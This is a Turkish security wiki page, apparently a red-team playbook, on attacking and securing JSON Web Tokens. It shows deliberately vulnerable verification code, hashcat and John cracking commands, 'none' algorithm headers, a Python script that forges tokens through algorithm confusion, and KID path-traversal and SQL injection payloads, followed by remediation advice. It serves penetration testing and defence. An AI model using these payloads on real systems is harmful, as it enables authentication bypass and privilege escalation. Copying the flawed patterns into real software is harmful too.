AltaySec Wiki JSON Web Token (JWT) Security & Advanced Exploitation   ·   AltaySec Araştırmalar

JSON Web Token (JWT) Security & Advanced Exploitation

root@altaysec:~# whoami
> Yazar: Emre Ermenek

Modern web mimarilerinde (Microservices, SPA, Serverless) kimlik doğrulama ve yetkilendirme (Authentication & Authorization) süreçlerinin omurgasını oluşturan JSON Web Token (JWT), durumsuz (stateless) yapısı sayesinde sunucu tarafında oturum bilgisini tutma zorunluluğunu ortadan kaldırır. Ancak bu "Self-Contained" (kendi kendine yeten) yapı, güvenliğin tamamen token'ın kriptografik bütünlüğüne ve implementasyon kusursuzluğuna dayanmasına neden olur. Red Team operasyonlarında JWT, yatay/dikey yetki yükseltme (Privilege Escalation), kimlik sahtekarlığı (Impersonation) ve bazı durumlarda Remote Code Execution (RCE) elde etmek için en kritik saldırı yüzeylerinden biridir. Bu doküman, JWT'nin düşük seviyeli (RFC 7519, RFC 7515) çalışma prensiplerinden, karmaşık kriptografik zafiyetlerine ve ileri düzey atlatma tekniklerine kadar uzanan eksiksiz bir sömürü rehberidir.

How It Works (Teknik Analiz)

Bir JWT, aralarında nokta (.) bulunan üç adet Base64Url ile kodlanmış parçadan oluşur: Header.Payload.Signature. Tarayıcı çerezlerinden (Cookies) farklı olarak, JWT'ler istemci tarafında tutulur ve her sunucu isteğinde Authorization: Bearer <token> başlığı altında iletilir.

  1. Header (JOSE Header): Token'ın tipini (typ: JWT) ve kullanılan imzalama algoritmasını (alg: HS256, RS256, ES256, none) tanımlayan JSON objesidir.
  2. Payload (Claims): Kullanıcıya ait verileri ve token'ın meta bilgilerini (iss, exp, aud, sub, iat, nbf) barındırır. Şifreli değildir, sadece Base64Url formatındadır.
  3. Signature (İmza): Header ve Payload'un Base64Url ile kodlanmış hallerinin arasına nokta konularak birleştirilmesi ve ardından Header'da belirtilen algoritma ile (simetrik veya asimetrik bir anahtar kullanılarak) imzalanmasıyla oluşur.
    • Simetrik (Örn. HS256): HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
    • Asimetrik (Örn. RS256): İmzalama için Private Key, doğrulama için Public Key kullanılır.

Zafiyetlerin kök nedeni genellikle (Root Cause); sunucunun gelen alg başlığına körü körüne güvenmesi, imza doğrulama fonksiyonlarının (verify) yerine sadece çözümleme (decode) fonksiyonlarının kullanılması veya kriptografik anahtar yönetimindeki zafiyetlerdir.

Vulnerable Code Patterns

Geliştiricilerin sıklıkla yaptığı ölümcül hatalar farklı dillerde aşağıdaki gibi karşımıza çıkar:

Python (PyJWT) - İmza Doğrulamasının Atlanması:

import jwt

def get_user_data(token):
    # KRİTİK HATA: verify_signature=False ile token'ın sadece içeriği okunur, imza kontrol edilmez.
    # Saldırgan payload kısmını değiştirerek istediği kullanıcı haklarına erişebilir.
    try:
        payload = jwt.decode(token, options={"verify_signature": False})
        return payload['username']
    except Exception as e:
        return None

NodeJS (jsonwebtoken) - Algoritma Karmaşası (Algorithm Confusion):

const jwt = require('jsonwebtoken');
const fs = require('fs');

// Public key okunuyor
const publicKey = fs.readFileSync('public.pem');

function verifyToken(token) {
    // KRİTİK HATA: alg parametresi sınırlandırılmamış.
    // Saldırgan token'ı HS256 ile imzalayıp 'secret' olarak publicKey'i kullanabilir.
    return jwt.verify(token, publicKey); 
}

PHP (firebase/php-jwt) - None Algoritmasına İzin Verilmesi:

use \Firebase\JWT\JWT;

function checkAuth($jwt) {
    $secretKey = 'super_secret_key';
    // Eski sürümlerde veya yanlış konfigürasyonlarda alg dizisi boş bırakıldığında veya
    // güvensiz parser kullanıldığında 'none' algoritması kabul edilebilir.
    $decoded = JWT::decode($jwt, $secretKey, array('HS256', 'none'));
    return $decoded;
}

Detection & Enumeration (Keşif ve Analiz)

Bir uygulamada JWT kullanıldığını tespit etmek ve zafiyet analizi yapmak için öncelikle token'ın yapısını analiz etmek gerekir.

Attack Vectors & Exploitation (İstismar Vektörleri)

Unverified Signature (İmza Doğrulama Zafiyeti)

Sunucu token'ı kabul ederken sadece decode işlemini yapıyor ancak kriptografik imzayı verify etmiyorsa, token içindeki herhangi bir veri (claim) serbestçe değiştirilebilir.

None Algorithm Downgrade (Algoritmayı Devre Dışı Bırakma)

Sistem, JWT RFC'sinde debugging amaçlı tanımlanmış none algoritmasını aktif unutmuş olabilir. Bu durumda imza mekanizması tamamen çöker.

Weak Symmetric Key Brute-Forcing (Zayıf Anahtar Kırılması)

Eğer token HS256 gibi simetrik bir algoritma ile şifrelenmişse ve güvenlik zafiyeti olan kısa bir "secret key" kullanılmışsa, bu anahtar çevrimdışı (offline) sözlük saldırıları ile kırılabilir. Anahtar ele geçirildikten sonra istenilen JWT yetkisi sahte olarak (forge) üretilebilir.

Algorithm Confusion (Asymmetric to Symmetric İndirgeme)

Sunucu asimetrik bir algoritma (Örn: RS256 - Public/Private key) beklerken, backend doğrulama fonksiyonu gönderilen token'ın alg başlığına güvenir. Saldırgan alg değerini HS256 (simetrik) yapar ve uygulamayı şaşırtır. Sunucu simetrik doğrulama yaparken arka planda "secret key" olarak istemciye ifşa edilmiş olan "Public Key" dosyasını veya anahtar metnini kullanır.

JWK (JSON Web Key) Header Injection

Geliştiriciler jwk parametresini kullanarak imza doğrulamasında kullanılacak açık anahtarı direkt token içerisine gömebilir. Eğer sunucu bu değeri doğrulamadan kabul ederse (Whitelist eksikliği), saldırgan kendi ürettiği RSA Private Key ile token'ı imzalar ve Public Key'ini jwk parametresi ile token içine yerleştirir.

JKU (JSON Web Key Set URL) Header Injection

jku başlığı, doğrulama anahtarlarının barındırıldığı harici bir URL'yi işaret eder. Sunucu, sağlanan URL'den anahtarları indirir.

KID (Key ID) Path Traversal & SQL Injection

Sunucu birden fazla anahtar kullanıyorsa, doğru anahtarı seçmek için kid (Key ID) başlığını kullanır. Bu değer backend tarafında bir dosya sistemine veya veritabanına sorgu olarak gidiyorsa kritik zafiyetler doğar.

Cross-Service Relay & Audience (AUD) Misconfiguration

Büyük SSO veya Microservice mimarilerinde merkezi kimlik doğrulama, token'ı üretir ancak her mikroservisin kendi aud (Audience) değerini kontrol etmesi gerekir. Bir serviste normal yetkilere sahip kullanıcıya verilen JWT, aud claim'i doğrulanmadığı için yetkili olduğu başka bir servise gönderilerek "Yetki Yükseltme" elde edilebilir.

Sensitive Information Disclosure (Hassas Veri İfşası)

Sistem mimarlarının Payload'un Base64 olduğunu unutup şifreli sandığı durumlardır. Parola hashleri, Clear-text şifreler, internal IP adresleri, SSH anahtarları veya oturum sırları doğrudan Payload içerisine (Örn: {"password":"User123!", "internal_ip":"10.0.0.5"}) yazılabilir. Sadece base64 decode ederek elde edilir.

Lifetime and Replay Attacks (EXP Missing)

Token içerisinde exp (Expiration - Bitiş zamanı) claim'i tanımlanmamışsa token sonsuza dek (Persistent) geçerli kalır. Ayrıca jti (JWT ID) claim'i ile benzersizlik sağlanmamışsa, bir kurbanın ağ trafiğinden sniff edilen (çalınan) JWT, yıllar sonra bile Replay (Tekrar oynatma) saldırılarıyla kullanılabilir.

Payloads & Advanced Commands

Hashcat & John the Ripper Cracking Commands

JWT'yi offline olarak brute-force ile kırmak için kullanılan komutlar. Hedef token jwt.txt içine kaydedilmiş olmalıdır.

# Hashcat - Geleneksel HS256 kırma
hashcat -a 0 -m 16500 jwt.txt /path/to/jwt.secrets.list

# Hashcat - Mask attack (Örneğin secret key 5 karakterli küçük harf ise)
hashcat -a 3 -m 16500 jwt.txt ?l?l?l?l?l

# John The Ripper - Standart sözlük saldırısı
john --format=jwt --wordlist=/path/to/jwt.secrets.list jwt.txt

# John The Ripper - Kırılan şifreyi gösterme
john --show jwt.txt

None Algorithm Payloads

Base64 encoding sırasında padding (=) karakterlerinin silinmesi gerektiğini unutmayın (JWT standardı Base64Url kullanır).

// Orijinal Header
{"alg":"HS256","typ":"JWT"}

// Varyasyon 1 (Küçük harf none)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

// Varyasyon 2 (Büyük harf NONE)
eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0

// Varyasyon 3 (Karışık - NoNe)
eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0

// Payload Kısmı Manipüle Edildikten Sonra Son İstek Formatı:
HeaderBase64.PayloadBase64.
// Veya
HeaderBase64.PayloadBase64

Algorithm Confusion (RS256 to HS256) Exploit Script (Python)

Sunucudan elde edilen public_key.pem dosyası kullanılarak sahte token üretimi:

import jwt
import base64

# Sunucunun veya API'ın Public Key'i (Harfiyen kopyalanmalı, \n dahil)
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAy...
-----END PUBLIC KEY-----"""

# Yükseltilmiş yetkilere sahip payload
payload = {
    "username": "admin",
    "role": "admin",
    "admin": 1
}

# Algoritmayı HS256 olarak zorlayıp, secret olarak Public Key'i kullanıyoruz
# PyJWT'nin yeni sürümlerinde koruma olabilir, eski sürümler (<=1.5.3) veya 
# jwt.io üzerinden manuel müdahale gerekebilir.
forged_jwt = jwt.encode(payload, public_key, algorithm="HS256")

print("[+] Bypassed JWT Generated:\n" + forged_jwt)

KID Path Traversal & SQLi Injection Payloads

Aşağıdaki base64 kodlanmamış header örnekleri kid zafiyetleri için test edilmelidir. Payload, boş (empty) bir string "" anahtarı ile veya veritabanına inject edilen değerle HS256 üzerinden imzalanmalıdır.

// Path Traversal 1 (Linux /dev/null - Boş dosya okunur)
{"kid":"../../../../../../../../dev/null","typ":"JWT","alg":"HS256"}

// Path Traversal 2 (Windows boş dosya karşılığı)
{"kid":"C:\\nul","typ":"JWT","alg":"HS256"}

// SQLi UNION tabanlı anahtar enjeksiyonu
{"kid":"non_existent' UNION SELECT 'secret_string'--","typ":"JWT","alg":"HS256"}

// SQLi Boolean-based inference
{"kid":"key1' AND 1=1--","typ":"JWT","alg":"HS256"}

Decode & Inspect (Without Verification)

Herhangi bir script dillerinde imza kontrolü yapmadan veriyi okumak için:

import jwt
import sys

# Argüman olarak verilen token'ın içeriğini döker
token = sys.argv[1]
payload = jwt.decode(token, options={"verify_signature": False})
print(payload)

Bypass & Obfuscation (Atlatma Teknikleri)

WAF/IDS sistemlerini veya backend tabanlı regex (düzenli ifade) filtrelerini atlatmak için JWT yapısındaki parser (çözümleyici) zafiyetleri kullanılabilir.

Remediation & Prevention (Önleme ve Savunma)

JWT mimarisinin güvenli bir şekilde inşa edilmesi için uygulamanın her katmanında (Blue Team & Mimari) aşağıdaki kontroller zorunlu kılınmalıdır:

  1. Katı Algoritma İzin Listesi (Strict Algorithm Whitelisting): alg başlığına asla güvenmeyin. İmza doğrulama fonksiyonlarında kabul edilebilir algoritmaları "Hardcoded" olarak veya açık bir array ile belirleyin. none algoritmasını sistem genelinde tamamen yasaklayın.
    • Güvenli Kod (Python): payload = jwt.decode(token, SECRET, algorithms=["RS256"])
  2. Asimetrik ve Simetrik Doğrulamaları Ayırma: Backend RS256 bekliyorsa, doğrulama modülünün yalnızca asimetrik anahtarla çalışmaya zorlandığından emin olun (Algorithm Confusion engelleme).
  3. Güçlü Parolalar ve Key Yönetimi (Entropy): Simetrik algoritmalarda (HS256) kullanılacak "secret" anahtarları asla sözlük kelimeleri olmamalı, yüksek entropiye sahip (minimum 32-byte, rastgele oluşturulmuş karakter dizileri) olmalıdır.
  4. Header Parametrelerinin Reddedilmesi: Uygulamanızın ihtiyacı yoksa kullanıcıdan gelen jwk, jku, kid, x5c gibi Header parametrelerini parse etmeyin ve direkt reddedin (Drop request).
  5. Audience (aud) ve Issuer (iss) Doğrulaması: Mikroservis mimarilerinde her token iss (kim üretti) ve aud (hangi servis için üretildi) değerlerini barındırmalı ve uygulamanın API Gateway / Endpoint seviyesinde bunlar kati suretle doğrulanmalıdır.
  6. Token Yaşam Döngüsü (Lifetime & JTI): Her token mutlaka exp (Zaman aşımı) ve iat (Üretilme zamanı) değerlerine sahip olmalıdır. Uzun süreli oturumlar için Access Token kısa ömürlü (Örn: 15 dakika), Refresh Token ise güvenli bir şekilde saklanmalıdır. Tekrar oynatma (Replay) saldırılarına karşı jti (JWT ID) claim'i ile benzersizlik sağlanmalı ve kullanılmış token'lar (tek kullanımlıksa) geçersiz kılınmalıdır (Blocklisting).

Common Tools & Frameworks

Araç Fonksiyon Komut Örneği
Hashcat Zayıf Simetrik Anahtar Brute-Force (HS256) hashcat -a 0 -m 16500 jwt.txt rockyou.txt
John The Ripper Zayıf Simetrik Anahtar Kırma john --format=jwt --wordlist=jwt.secrets.list jwt.txt
JWT.io Manuel Token Decode / Encode Arayüzü (Web Tarayıcı Üzerinden Kullanılır)
Burp Suite (JWT Editor Ext.) Otomatize JWK Injection / None Alg Downgrade Extender -> BApp Store -> JWT Editor yükle
PyJWT (Python) Özel Exploit Scripleri Yazmak İçin Kütüphane pip3 install PyJWT
jwt-cracker Hızlı ve basit JWT Offline Cracker (Node tabanlı) jwt-cracker <token> <alphabet> <max_length>

Yazar: Emre Ermenek · AltaySec Wiki — Türkçe güvenlik playbook'u.

← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv